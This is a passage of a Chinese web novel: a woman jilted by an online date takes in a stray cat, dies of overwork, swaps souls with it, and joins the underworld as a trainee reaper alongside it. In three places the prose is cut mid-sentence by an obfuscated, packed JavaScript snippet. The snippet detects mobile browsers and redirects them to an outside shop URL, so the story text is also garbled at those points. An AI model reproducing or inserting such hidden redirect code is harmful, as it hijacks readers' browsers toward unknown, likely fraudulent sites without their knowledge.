《全地府都在嗑我和我搭档的CP》 1. 遇到鸽王后,我封心锁爱了 下午两点五十五分,于等等在咖啡馆靠窗的位置坐下,将礼物盒放在桌角。 手机屏幕亮着,最后一条消息停在对方那句:“我出发了,下午3点。‘遇见’咖啡馆见。” 三点整,门口风铃响动。 于等等脊背微微一挺,看向入口。 进来的是一对说笑的情侣,笑声在安静的空气里荡开。 有些刺耳。 她借口去洗手间,在镜前看了看,又状似无意地绕店走了一圈。 没有,连相似的身影都没有。 于等等续了第二杯冰美式,路过的服务员投来含义复杂的目光。 她点开置顶的对话框,输入:“你到哪儿了?”停顿几秒,又一个字一个字删掉。 窗外的日光照着桌面,又慢慢移走。 六点整,手机终于震动。 她几乎是瞬间将它捞起,屏幕却亮着同事林琳的名字: “面基怎么样!真人帅不帅?看他照片侧脸就挺有氛围,我们几人聚餐呢,带过来帮你参谋参谋?” 于等等盯着那行字看了几秒,指尖有些发凉,目光重新落回置顶的对话框。 咖啡馆的冷气似乎在这一刻骤然加剧,丝丝缕缕渗进皮肤里。 她退出聊天界面,点开相册。 里面有她为这次见面准备礼物的照片: 自己画的手工插画,挑了很久的钢笔,烤了三遍才满意的曲奇。 再往上划,是从他朋友圈存下的日常: 他晒过的潦草早餐、他说加班好累时配的深夜办公室、那张只有模糊侧脸的照片。 一张,两张……删除。 回到微信,点进那个熟悉的头像,按下“加入黑名单”。 系统弹出确认提示时,她顿了一下。 就一下。 然后点击确认。 “小姐,需要续杯吗?”服务员问。 于等等抬头,露出一个浅笑:“不用了,结账。” 起身时,胳膊带倒了桌上的礼物盒。 隔壁桌服务员正收拾杯子,手肘一撞,半杯柠檬水全洒在了盒子上。 纸盒迅速洇湿。 “对不起!实在对不起!”服务员慌忙抽出纸巾。 于等等看着颜色变深的盒子,沉默了两秒。“没关系。” 她抽了两张纸,象征性地擦了擦盒面。水已经彻底浸进去了,里面的画大概也废了。 走出咖啡馆,傍晚的风扑面而来,于等等打了个哆嗦。 手机震动,是工作群。 老板@她:“等等上次做的方案客户很满意,这个月奖金加百分之二十。” 于等等握着手机,在渐次亮起的街灯下站了一会儿,然后很轻地扯了一下嘴角。 她截了屏,打开朋友圈,配文:“还是工作靠谱。爱情?狗都不谈。” 设置:仅自己可见。 发送。 她沿着街道往前走。路过一个绿色的分类垃圾桶时,脚步停驻,手腕一扬,那个湿透的盒子划了道短促的弧线,准确落入“其他垃圾”的桶口。 闷响传来,干脆利落。 手机再震,林琳发来语音,背景音嘈杂:“真不来啊?我们都开始了,给你们留了位置!” 于等等低头打字,屏幕的光映亮她没什么表情的脸:“等我,地址发来。” ———————————— 巷子深小酒馆包间里,于等等推开门,对上四双期待的眼睛。 林琳第一个弹起来,拉开身旁的空椅:“等等!这儿!给你们留的连座……嗯???” 她跑到于等等身后左右找半天。 “怎么就你一人!你网恋对象呢??” “没见着。”于等等搓了搓发凉的胳膊,坦然入座,“被鸽了。” 几杯果酒下肚,冰凉的液体划过食道,在胃里点燃一小簇暖火,蒸上于等等脸颊。 “所以,你真等了三小时?人影都没见到?”林琳咋舌,“之前看他跟你聊天,感觉挺细腻一人啊?” “细腻?”于等等晃着杯中的液体,冰块叮当轻响,“隔着屏幕的细腻,跟游戏里的NPC有什么区别?还不如玩恋爱游戏呢。” 她举起酒杯碰了碰林琳的杯沿:“庆祝我今日封心锁爱,从此专心搞事业。男人,影响我赚钱的速度。” 同事们哄笑起来,话题迅速滑向最新的项目八卦。于等等跟着笑,又喝了两杯啤酒,胃里的暖意扩散开来,心脏那种被攥紧的感觉好像松了些。 散场时快十一点。 林琳不放心要送她回家,于等等摆摆手:“真没喝多,走走路,散散酒气。” 其实有点晕。 夜风拂过发烫的脸颊,街道寂静,路灯将她的影子拉长又缩短。拐进小区前那条短巷时,她听见细弱的猫叫。 路灯昏黄的光晕边缘,一只黑白分明的奶牛猫蜷在破损的纸箱里,浑身脏兮兮的,眼睛却在暗处亮得惊人。 于等等蹲下身,晃了晃指尖:“喂,小倒霉蛋,你也一个人啊?” 小猫仰起脖子,又“喵”了一声。 她看了它几秒,脱下身上那件新买的薄外套,小心地把小猫裹起来,“算了,跟我走吧。总比在这儿强。” 小猫很乖,只在起初僵硬了一瞬,随后便安静地窝进她臂弯。 走进单元楼,电梯门光亮的金属表面映出她的身影——略显凌乱的头发,泛红的脸颊,以及身后不远处,一个模糊的、穿着玄色古代袍子的虚影。 于等等猛地回头。 楼道空荡,只有声控灯的光。 “……看来真有点喝多了。”她按下电梯键。 开门,开灯。猫跳下来,好奇地转了一圈。 于等等踢掉高跟鞋,赤脚走到储物柜前,翻出喂流浪猫剩下的鱼肉罐头,打开放在地上。 小猫凑过来,先是谨慎地嗅了嗅,随即小口小口吃起来。 她又找了个快递纸盒,从阳台的花盆里挖了些土填进去。 “记住,厕所在这里。”她点了点纸盒边缘。“不许乱拉乱尿。”她含糊道,衣服都没换,直接倒在沙发上睡了过去。 一夜无梦。 直到有什么毛茸茸的东西蹭到脸上。 于等等艰难地掀开眼皮。 晨光从窗帘缝里漏进来。一只黑白花的奶牛猫蹲在她胸口,一黄一蓝的异色瞳正静静看着她。 猫歪了歪头。 于等等眨了眨眼。 ……猫? 混沌的大脑缓慢重启,记忆碎片回笼: 昏暗小路,纸箱里的小可怜,她用外套裹回来的…… 她猛地坐起身。 那只奶牛猫只随着她的动作优雅地调整了下姿态,尾巴绕到前爪边,冲她清晰地叫了一声: “喵。” 声音清亮,眼神通透,与昨晚那副凄惨模样判若两猫。 于等等按住宿醉后隐隐作痛的额角,喃喃自语: “喝酒……果然误事。” —————— 上午九点半,于等等抱着纸箱站在宠物医院门口。 “医生,帮忙看看,路边捡的。” 值班医生检查了一番:“奶牛猫,公的,一岁左右。除了有点脏,身体挺健康的。” “那就行。”于等等又按了按太阳穴,“洗澡打疫苗,该做的检查都做一遍吧。” 猫被抱去洗澡,于等等坐在候诊区刷手机,同城热搜榜: 【爆某大厂员工连续加班后猝死,年仅26岁】 【东城区某路口严重交通事故,现场1死2伤】 【宠物博主“喵喵教教主”发布新视频,百万粉丝在线云吸猫】 于等等的目光在前两条新闻上停留了不足半秒,便毫无波澜地滑过,径直点开了最下方那条带着可爱猫爪图标的热搜。 看了半晌,猫还没出来。 她又点开朋友圈,一直往下划,看到昨晚那条仅自己可见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193326|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的封心锁爱宣言。 指尖悬停片刻,继续下划。 “于小姐?”护士抱着洗吹干净的猫出来,“洗好了,您看看。” 于等等抬头,愣了一下。 洗干净的小奶牛猫像换了只猫,黑毛油亮,白毛蓬松,眼睛脸盘子都圆溜溜的,整张脸圆润可爱。 “还挺……人模人样。”于等等伸手,挠了挠它的下巴。小猫仰起头,喉咙里发出满足的呼噜声。 “是吧?”护士笑着将猫放到诊疗台上准备疫苗,“性格也挺好。” 针尖推进皮下时,猫只是耳朵敏感地抖动了一下,并未挣扎。 “好了。”医生利落地完成操作,“这猫你打算长期养吗?绝育考虑吗?能避免很多疾病。” 于等等看向诊疗台。 猫也正回望着她,眼神纯净。 男人不靠谱,网恋是陷阱。那万一公猫发情了出去找小母猫,说不定也会渣。 “绝。”于等等说,“绝彻底点。” 医生:“那我们这边有几个套餐可以选择——” “要最贵的。”于等等指向墙上贴着的宣传单页,“就那个,‘皇家尊享豪华绝育套餐’,院长主刀的那个。” 医生眨了眨眼,在电脑上敲击几下,“下周六下午两点,院长正好有空档。您看可以吗?” “行。” 她结了账,抱着猫回家,顺便买了堆猫用品。账单跳出来时,于等等眼皮跳了跳。 很好,一个月的奖金清零。 但是,这钱花得……莫名舒畅。 她戳了戳猫包里的奶牛猫:“以后你就叫元宝了。花了我这么多钱,记得好好招财进宝。走了,回家。” 接下来的几天,于等等的生活被两件事填满:工作,和猫。 元宝适应得很快,于等等买的进口猫粮它吃得津津有味,各种玩具玩得不亦乐乎。 唯独那个价格不菲的柔软猫窝备受冷落,它坚定不移地每晚都挤在于等等的枕头边。 公司的新项目,于等等主动申请加入,晚上在家加班时,它就安静地趴在她膝盖上,伴随着键盘敲击声,呼噜呼噜地踩奶。 副业那块,新出版的插画集卖得不错,下周日还被邀请去展会签售。 出版方结款那天,于等等给元宝下单了豪华猫爬架,又买了个纯金小元宝挂在它脖子上。 午休时,林琳凑过来八卦:“你真就这么封心锁爱了?元宝再可爱,也不能跟你谈恋爱啊。” 于等等盯着电脑屏幕,指尖敲击如飞: “谈恋爱伤神费钱,搞钱踏实愉悦。搞来钱还能养猫,元宝至少不会放我鸽子。我们现在是清心寡欲、专心搞事业的好搭档。” “清心寡欲?你们??” “我给他预约了绝育。”她眼里闪过一点果决,“订金都付了。这叫从根源上杜绝麻烦。” 林琳:“……不愧是你。” 下班铃声准时响起,周围同事大多还在埋头苦干,于等等已经拎起包,步伐轻快地走向打卡机。 林琳:“说好的专心搞事业呢!卷王你怎么先撤了!” 于等等头也不回:“回家加班,元宝等我呢。” 凌晨一点,于等等在电脑前键指如飞。 最后一份数据整理到了一半,于等等忽然感到心脏漏跳了一拍,紧接着便是不规律的疾速搏动,太阳穴突突直跳。 她停下手,用力揉了揉额角,端起桌上那杯早已凉透的水,仰头灌下大半。 就差一点了,做完就能彻底休息。 她深吸一口气,手指重新落在键盘上。 十分钟后,最后一行数据录入完毕。 于等等长舒一口气,向后靠进椅背,闭上眼。 就在她准备起身的瞬间,心脏猛地一抽。 剧烈的眩晕感排山倒海般袭来,眼前的一切瞬间被黑暗吞噬。 意识消散的最后一秒,一个念头闪过: 元宝……它怎么办…… 2. 地府编制,买一送一 黑暗退去。于等等睁开眼,视野里的一切都变得陌生。 天花板高得离谱,书桌边缘像一道悬崖,台灯毛茸茸的光晕笼罩着巨大化的一切。 是自家的客厅。 但是巨大版。 她晃了晃发晕的脑袋,撑地想坐起来,手按下去,触感软绵绵的。 她低头。 一条覆盖着黑白短毛的前肢杵在眼前。末端白色的爪子正从粉色肉垫里探出指甲,又缩回去。 完全不受控制。 ……? 她盯着那只爪子看了三秒,缓缓转头。 穿衣镜里,一只炸了毛的奶牛猫瞪圆一蓝一黄两只眼睛,和她对视。 猫耳随着她的念头抖了抖。 脖子上,那个纯金小元宝清晰可见,正是她给元宝买的那个。 于等等抬起爪子有意识地扶了扶脑袋—— 加班,头晕,眼前一黑。 然后睁开眼,就在元宝猫身里了。 她吐出一口气,强迫自己冷静。 几种可能性在脑中过了一遍:猝死附身、死后幻觉、做噩梦还没醒、或者…… “沙……沙……” 摩擦声从书桌方向传来。 于等等猛地扭头。 书桌前,一道身影正扶着桌沿,摇晃着站了起来。 穿着宽松家居服,乌黑的长发有些凌乱地披在肩头。 猫毛瞬间炸开! 正是她自己的身体。 “她”走过来,蹲下,伸手。 于等等后退半步,喉咙里发出警告的呜噜。在手即将碰到自己的瞬间,张嘴咬了下去。 铁锈味在嘴里漫开。 头顶传来吸气声:“嘶……” 她下意识松口,抬头。 对方只是微微蹙眉,看了眼手背上的牙印,目光移回她身上,偏了偏头。 只片刻,那只刚被咬过的手又一次伸过来。 这一次,于等等鬼使神差地没再攻击。指尖落下,生疏但坚定地揉了揉她的头顶。 “嗡——” 客厅中央的空气漾开涟漪。 涟漪中心,一道身影迅速凝结。 玄色官袍垂顺,衬得身姿如松,乌纱帽下的脸年轻清正。 他扫视全场,目光掠过蹲着的“于等等”,停顿半秒,最终落在奶牛猫身上。 “哎呦……还好没事!”他声音里带着明显的如释重负,袍袖一甩就朝猫冲过来,伸手要捞。 几乎同时,那只悬在于等等背上的手猛地收回,转而拦腰一揽,将她整个抄起抱进怀里。另一只手臂横伸,稳稳挡在来人与猫之间。 动作快得让于等等只来得及瞥见对方腰牌上“判官”二字。 然后她就看见这位判官的表情,咔嚓一下僵住了。 “你……看得到我?”他指着抱着猫的“于等等”,声音有点飘。 没人理他。 “于等等”只是抱紧了猫,眼神平静地回视。 判官的视线在“于等等”平静的脸上和警惕的猫眼间来回扫视,眉头越拧越紧。 忽然,他瞳孔骤缩,颤颤巍巍地指向抱着猫的人: “你……你才是……?!” 话出口瞬间,他猛地捂住嘴,惊恐地看了一眼抱着猫的“于等等”,又飞快地瞄了一眼猫。 ?? 才是什么?你倒是说清楚啊! 猫等等急得想挠他,可惜了猫不会说话。 判官手忙脚乱地摸出三折叠手机,摄像头对准相拥的一人一猫。 屏幕自动对焦,“嘀”一声轻响,柔光扫过。 复杂的符文和数据图表跳出来。光定格了,照亮了判官瞬间惨白的脸。 他嘴唇哆嗦了好几下,才挤出几个破碎的气音: “灵、灵魂互换??!” “完了完了完了……” 几个字如同天雷,劈开了于等等一直混沌的脑子。 坏消息:我猝死后灵魂互换了。 更坏的消息是:和我灵魂互换的,是我捡来的流浪猫! 这根本不是做梦啊!!!! 猫等等眼神发直,她看着判官抓狂地揪了揪自己的乌纱帽,在原地转了两圈后猛地停下,走到人身元宝面前与他对视,语气发颤: “你……” 话音戛然而止,后面半句“知道怎么回事吗”被元宝那毫无波澜的眼神堵了回去。 他抽了抽嘴角,话头一转:“还记得我是谁吗?” 元宝瞥了他一眼,嘴角一扯:“记得。” 判官眼睛刚亮起一点。 “记得你说,让我在休息室等你。结果,你再也没回来。” 元宝目光扫过判官呆住的脸,落到毛越炸越大的奶牛猫身上,手自然地落到她后颈,一下下顺着毛安抚。 “然后我就到了这里。” “我……我也没想到会搞成这样……”判官急急辩解,冷汗直流。 “放心!绝对想办法帮你变回去!再之前的呢?还记得吗?” 元宝耸了耸肩:“不记得了。” 判官:“……” “算了,先解决眼下这个!” 他叹了口气,开始在宽大的袖袍里掏摸。 先掏出一个印着“天道酬勤”的保温杯,顿了顿,塞回去。 又摸出个微型蓝牙键盘,看了看,也塞回去。 再掏,是个便携肩颈按摩仪,他嘴角抽了抽,胡乱塞回袖中。 “哪儿去了……” 他额角冒汗,掏摸的动作越来越急。 最后,判官眼睛一亮,摸出两个铃铛。 古铜色,指甲盖大小,系着褪色的红绳。 “有了!” 他手指一弹。 铃铛在空中划过弧线,一个精准套进猫等等的脖子,另一个圈在了元宝的手腕上。 原本挂着金元宝的项圈“咔哒”一声,自动脱落。 下一秒,猫等等眼前“唰”地弹出一个半透明光屏。 屏幕左上角是她的证件照——穿着睡衣,头发乱糟糟。 旁边几行信息: 【姓名】:于等等 【状态】:灵魂互换(暂居猫身) 【关联用户】:元宝(主用户) 【权限】:主用户共享 【灵魂协同度】:17.3% 【备注:已同步语言程序,您的发声会被系统自动翻译,所有拥有地府“小冥KT系统”的用户均可理解。】 猫等等努力把思维拉回正轨,试图去理解这些字,结果脑子越来越大。 元宝面前也悬浮着类似的光屏,只是内容模糊不清。 “那个……情况是这样的。元宝本来是我们地府即将入职的新同事,结果……办理入职手续的时候出了点小意外,他的魂体误入到了这只猫身上!” 他眼神飘忽,语速加快: “但这也算因祸得福!于小姐,你本来应该猝死的,阴差阳错触发了元宝魂体自带的保护机制——灵魂互换,硬是给你从鬼门关拉回来半只脚!” “只要之后能把灵魂换回来,你就能恢复正常生活!” 同事?? 猫等等几乎是惊悚地抬头,对上元宝平静的眼神。 她以为被网恋对象放鸽子已经够倒霉了,借酒消愁捡只猫,还能捡到地府公务员??? 这运气,真是背得惊天动地。 判官没注意猫脸上的生无可恋,他点开手机查看数据,脸色一变:“协同度怎么才17.3%?!麻烦了……” 猫等等的心一揪:“什么麻烦?” 系统转化过的猫语有点奶声奶气。 “协同度就是你们灵魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193327|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的契合同步程度,达到50%才能换回来,得想办法赶紧提高!”判官又抓了抓头发,突然抬起头,看向猫等等,搓了搓手。 “如果,这里有一个快速提升协同度的方法,但是……需要稍微牺牲一点休息时间,你们愿意吗?” 他说完,眼巴巴地看着元宝。 元宝眨了眨眼,看向怀里的猫等等,正对上猫等等抬起来的视线。 四目相对。 “那……愿意?”猫等等迟疑地看向判官。 话音刚落,判官猛地一拍大腿,把猫等等吓得浑身一激灵。 “好!太好了!”他掏出手机,手指在屏幕上噼里啪啦一顿操作,“我这就给你们安排入职!走特快通道!” 啊??入职?? 什么入职??! 入什么职???! “等等!”于等等脱口而出。 面前的光屏却突然刷新,弹出一个硕大的金色标题: 【地府特别事务司·实习无常入职协议】 下面是一长串条款,最下方有两个按钮: 【同意并签署】 【拒绝】 判官笑眯眯地看向她:“别担心,只是临时编制,方便你们行动和提升协同度!” 他话音刚落,光屏上的【同意并签署】按钮就自动放大,几乎占满了整个屏幕。 而【拒绝】按钮,缩到了角落里,灰暗得几乎看不见。 “流程已经启动了,你看,系统都很期待你们加入呢。”判官眼神真诚,“签了吧,签了就能正式开始解决问题了。” 猫等等盯着光幕看了几秒,从元宝怀里跳出来,稍微适应猫身后,眯眼打量起判官。 他脸上挂着职业化的笑容,但落在身侧的手指正无意识地搓着官袍袖口,额头还有点细汗。 “签了这玩意儿,就一定能换回来?你们地府的流程好像不太靠谱啊。”猫等等意味深长地看了眼元宝。 魏判官嘴角抽了抽,干笑:“这次绝对靠谱!我亲自盯流程!真的!” 猫等等不置可否,目光又转回元宝: “判官说能换回来。我信他一半。我只问你,你真的愿意换?换回来之后,你就要回到这具猫身里。” 她强调:“变回一只猫。” 客厅安静了一瞬。 判官在旁边欲言又止。 元宝沉默片刻,然后点了点头:“可以换回来,但我有个条件。” 看吧!我就说没那么简单! “什么条件?” 元宝的目光在客厅里环顾一周,掠过猫爬架、猫玩具、沙发上她常盖的小毯子,最后回到她脸上。 “换回来之后,我还要住这里。” 猫等等:“……???” 她愣住,猫眼睁得溜圆,以为自己听错了。 “你……”她组织了一下猫语,“你是说,换回来之后,你以猫的身份,继续住在我家?” 元宝看了她一会,收回视线,眼神有点游离:“至少……在我还是猫身的时候,我要住这里……” “睡觉的地方……我可以自己收拾。”他又补了句。 猫等等尾巴不自觉拍打着地面。 客厅诡异安静了几秒,她终于出声: “好,但你必须保证,在换回来之前,优先且全力推进换回灵魂的流程!” “可以。” 共识达成,一人一猫同时伸手按向面前的屏幕。 触碰的瞬间,两人的铃铛同时发出一声清越的轻鸣 “叮。” 【协议生效。灵魂协作契约登记完成。】 【欢迎加入地府特别事务司,实习黑无常:于等等。】 【您的引导员:判官魏今安。】 【您的搭档:元宝(白无常)。】 【首个引导任务已发放,请于1小时内查看。】 3. 带新人的第一天,判官嗑疯了 铃铛声还在耳边轻响,光屏上的字晃得猫眼有点花。 猫等等盯着“实习黑无常”五个大字,胡须抖了抖:“这职位是随机分的,还是有什么说法?” 魏今安正了正乌纱帽:“系统智能分配!黑白无常讲究的就是一个配合。” “那具体要做什么?” “新人嘛,收收小游魂,走个过场打个卡,别的活有大佬们顶着。” 猫等等点点头,伸爪扒拉光幕。 任务详情弹出来: 【引导任务:接引游魂】 【目标:东城区中心医院,住院部7楼ICU-3床,张建国(男,78岁)】 【状态:车祸重伤,抢救无效,生命体征将于凌晨2:35分终止】 【任务要求:在其魂魄离体后完成接引】 【奖励:功德积分100,新人随机道具×1,协同度提升机会。】 【特殊提示:游魂生前为善,执念较轻,适合新手练习(系统保证)】 【是否接取?】 她盯着“系统保证”四个字看了三秒,爪子在【接取】上按了下去。 魏今安瞥了眼手机同步过来的任务详情,看到目标姓名时嘴角微妙地抽了抽,但很快又恢复了职业笑容: “接了就好!第一次外勤,我手把手教你们。” 猫等等捕捉到他的微表情,侧头看了眼旁边安静如画的元宝,又转回来: “这任务……有问题?” “没问题!标准新手任务!福利拉满的那种!”魏今安拍了拍胸脯,“来来来,先教你们切换形态。集中意念,想着你们的职位名称。” 猫等等依言闭上猫眼,努力集中精神。 下一秒,身体传来奇妙的拉伸感。 视野拔高了,四肢舒展了,低头一看,身上多了套修身利落的黑色劲装,腰间束着暗纹腰带。 左臂上缠着几圈泛幽光的黑色锁链,链头是个精巧的小钩爪。 她凑到穿衣镜前,头顶的黑色高帽几乎和黑发融为一体,帽子上四个端正的白字:天下太平。 “我变回来了?!”于等等惊喜地转了个圈。 “黑白无常显化的是魂体形态,”魏今安解释,“怎么样,这皮肤帅吧?” “皮肤……”于等等嘴角抽了抽,这是什么游戏术语,不过嘛…… “确实挺帅。” 旁边传来一声慵懒的猫叫。 她转头,看见一只头顶小白帽的奶牛猫蹲在地上,帽子上写着“一见生财”,尾巴尖悠闲地画着圈。 魏今安满意地打量着一人一猫: “不错不错,有我们地府公务员的味道了!来来,认识下你的法器!”他指向缠在于等等胳膊上的锁链,“锁魂链,新手友好,自动锁定,防手抖设计。” 于等等抓着链子晃了晃,入手冰凉,重量适中,目前看来手感不错。 “走,带你们抄个近路。” 魏今安掏出手机,随手一划。 空气撕裂开一道暗色漩涡。 穿过漩涡的瞬间,消毒水味劈头盖脸砸过来。 深夜的医院走廊空旷寂静,只有值班护士站亮着微光。 走廊尽头,一个穿白大褂的虚影推着空荡荡的转运床,悄无声息地飘过转角,床轮子连点声音都没有。 于等等下意识屏住呼吸。 “别紧张,”魏今安压低声音,“那是医院的常驻NPC,不归咱们管。跟着系统小地图走。” 系统地图适时亮起,一条半透明的光路浮现,明晃晃指向七楼。 “坐电梯太招摇了,带你们感受下穿墙!”魏今安带头穿过了电梯间的墙壁。 于等等学着他的样子,结果第一次差点卡在墙里。 那种一半在墙内一半在墙外的感觉,微妙得像被门夹了脑子。 元宝倒是熟练,身影一晃就过去后,安静蹲在墙那边等她。 “多练几次就好了,”魏今安安慰,“魂体状态穿墙是基本功。” 到了七楼,ICU区域。 病房外,一个穿病号服的年轻魂魄正茫然地飘在走廊里,看见他们,好奇地凑过来: “你们也是新来的?哪个科的?” 魏今安抬手亮了下腰牌:“公务,查房。” 年轻魂魄“哦”了一声,失望地飘走了。 “我们……不用回收一下?”于等等抓了抓锁链。 “不用不用,”魏今安指了指墙角阴影处,“收他的同事已经蹲那儿了。” 说完,他还朝墙角刚穿出来的那两位黑白无常挥了挥手。 那位白无常撑着一把精致的白伞,伞面上绣着暗纹,看起来很有格调。 于等等的视线在那把漂亮的伞上停留了两秒,跟着魏今安穿墙进了ICU3床病房。 病床上的老人瘦到几乎干瘪,身上插满管子,监护仪上的曲线已经趋于平直。 系统光屏在老人上方标出【任务目标:张建国】,还贴心地加了个箭头。 “时间差不多了。”魏今安低声道,“于等等,等魂魄离体,你就把锁魂链甩出去,方向对就行,它会自动瞄准。” 于等等点头,扯下缠绕在臂上的锁链,握在手中的钩爪渗出丝丝凉气。 病床旁监护仪发出长鸣,一道半透明的虚影从老人身体里缓缓坐起。 就是现在! 于等等迅速抬手,钩爪还未离手,那虚影突然睁开了眼。 浑浊的目光缓缓移动,最后精准地落在她脚边的奶牛猫身上。 老人眼睛亮了一瞬。 “是你啊。” 于等等的动作僵在半空。 老人的魂体飘到元宝面前,仔仔细细打量他。 元宝异色瞳平静地回视,没有丝毫波澜。 “你不记得我了?” 老人愣了一下,目光在于等等和元宝之间转了个来回后,叹了口气。 他的魂体内分离出一小团微弱的光晕,轻轻飞向元宝,没入他小小的身体里。 “小小心意,希望能帮到你。” 说完,他的魂体迅速淡化,缩成一颗柔和的小光点,在元宝头顶轻盈地绕了两圈后,没入魏今安腰间挂着的那枚青铜铃铛中。 于等等皱了皱眉,举着锁链的手忘了放下:“这张老爷子,认识元宝?” 魏今安干笑两声:“缘分,都是缘分……” 于等等又看向元宝:“真不记得了?” 元宝点头,脖子上的铃铛随着动作晃了晃。 行吧,于等等又把锁链一圈圈缠回胳膊上:“还真是字面意义上的打个卡。” 【任务完成。】 【功德积分+50。协同度+5%(当前:22.3%)。】 【获得随机共享道具:同心铃(残)×1。】 新的光屏欢快地弹出来: 【道具:同心铃(残)】 【状态:严重损坏,修复中。修复进度:22.3%】 【提示:修复进度与协同度深度绑定。】 【当前效果:微弱感知绑定对象的情绪波动(比如他饿不饿,困不困,想不想挠沙发)】 【备注:当前感知效果约等于没有,建议二位多互动、少互怼。铃铛修得好,对象……咳,战友回家早。(系统温馨提示:本铃拒绝BE,谢谢合作)】 于等等:“…………?” “这就是你说的……新人福利很好??” 她盯着那个刺眼的“残”字,面露疑色地看向魏今安,却发现这位判官正两眼放光地盯着她和元宝,手指在手机屏幕上飞快操作,嘴里还碎碎念: “这角度真是绝了……这次千万不能被阎王爷抓包……” 于等等:? 几秒后,魏今安在于等等的注视下若无其事地收起手机,一本正经地咳嗽两声: “咳咳,破损只是暂时状态!修复完成后效果拔群!何况咱们的主要目标是涨协同度。积分也是好东西啊!” 他掏出手机点了两下: “时间有限,先给你们简单过一遍系统重点。” 下一秒,于等等和元宝面前的光屏内容同步刷新,变成了魏今安手机的投屏界面。 首页简洁得像个正经办公软件,分几个区块: 【任务】【商城】【办公】【生活】【个人中心】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193328|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“【任务】你们已经体验过了。” “【商城】就是用功德积分换东西,从临时体验卡到高阶法器都能换。不过你们现在积分少,也就看看。” 他切换到【办公系统】: “任务报告、特殊申请、资料查阅,所有工作相关都走这里。记住,流程!流程是地府的灵魂!” 说最后一句时,他的表情痛心疾首,仿佛吃过流程的大亏。 “【生活】区块是员工福利区。有【幽博】【忘川外卖】【彼岸速递】什么的。” “幽博少刷,尤其别信八卦。” 魏今安在手机屏幕上一划,共享消失。 “更多细节你们有空自己琢磨,我半小时后还有个报告要交,今天先完美收工,后续有问题可以通过系统联系我!走,送你们回去!” 又一道漩涡出现,于等等和元宝跨了进去。 回到客厅,于等等累得魂体都快散了。 无常形态自动解除,她又变回奶牛猫,“啪叽”一下瘫在沙发上,像块猫饼。 她强撑起脑袋,看向也恢复人身的元宝,声音因疲惫有点含糊: “喂,元宝……” “嗯?” “那个光……进到你身体后,有什么感觉吗?” 元宝在她身边坐下,仔细感受了一下:“有点暖和,别的……暂时没有。” “系统没警告,应该不算坏事,”猫等等声音越来越小,“说不定……还能帮你恢复点记忆……” “嗯。”元宝扯过沙发上的小毯子盖在她身上。“睡吧,明天再说。” “好……” 猫等等最后一丝力气也被抽走,眼皮彻底合上。 元宝静坐了片刻,打开自己的系统光屏。 屏幕上数据流动。 他眉头微皱,转头又看了眼睡得不省猫事的猫等等,起身走到穿衣镜前。 镜中的身影开始变化,“于等等”的轮廓模糊拉高,逐渐变成一个修长挺拔的青年身形。 简单的米色针织衫,深色长裤。 黑色短发刘海微长,遮了一部分额头,皮肤略显苍白,面部轮廓在昏暗光线里有些模糊。 他静静看着镜中的自己,手指抚上侧脸,沿着下颌线缓慢移动,眼神有一瞬的放空。 闭了闭眼,再睁开时,镜中的影像已经恢复如常。 元宝走回沙发边,看着蜷缩成一团的猫,伸手极轻地碰了碰她耳尖。 猫耳朵敏感地抖了抖,再没有别的反应。 他收回手,在沙发另一端坐下,闭上了眼。 ———————————— 与此同时,【魏今安的朋友圈】: 文案:意外还是缘分?我不管,反正我嗑了! 配图1:【黑白无常新手背影.jpg】(黑衣劲装的女子侧影与蹲在她脚边、头戴小白帽的奶牛猫) 配图2:【同心铃备注内容.jpg】(“对象”两个字重点画圈) 定位:人间·东城区中心医院(任务打卡) 发文时间:凌晨2:38 (仅地府八卦好友圈可见) 点赞(73)/ 评论(29) 【轮回司-谢哥】:新人?这组合有点意思。旁边那猫……魂光不太对吧?不像原装猫魂啊魏子。 【孟小甜】:这背影!!这身高差!!有潜力啊!我命令你们立刻交稿(指同人)! 【魏今安】回复:懂行!素材已私!坐等神作!(搓手期待.jpg) 【阎罗殿-打工鬼】:这是咱们司的新人吗?CP名有吗! 【魏今安】回复:CP名征集中,我投“芋圆”一票。 【地府同人女-墨魂】:系统认证CP?!笔给我!我现在就写!年下还是年上?!(“芋圆”不错加我一个) 【地府风纪委-明镜】:@所有人注意形象,专注工作。[严肃脸] (私聊魏今安:图发我原档,角度再偏右一点更好。) ———————————— 魏今安下拉评论内容,看到一堆“按头小分队何在”、“背影已存图”等嗑疯了的评论后,满意地锁上手机,深藏功与名。 4. 是谁在嗑?哦,是全地府 闹钟炸响的瞬间,猫等等几乎是从沙发上弹射起来。 “完了完了要迟到了!打卡!晨会!” 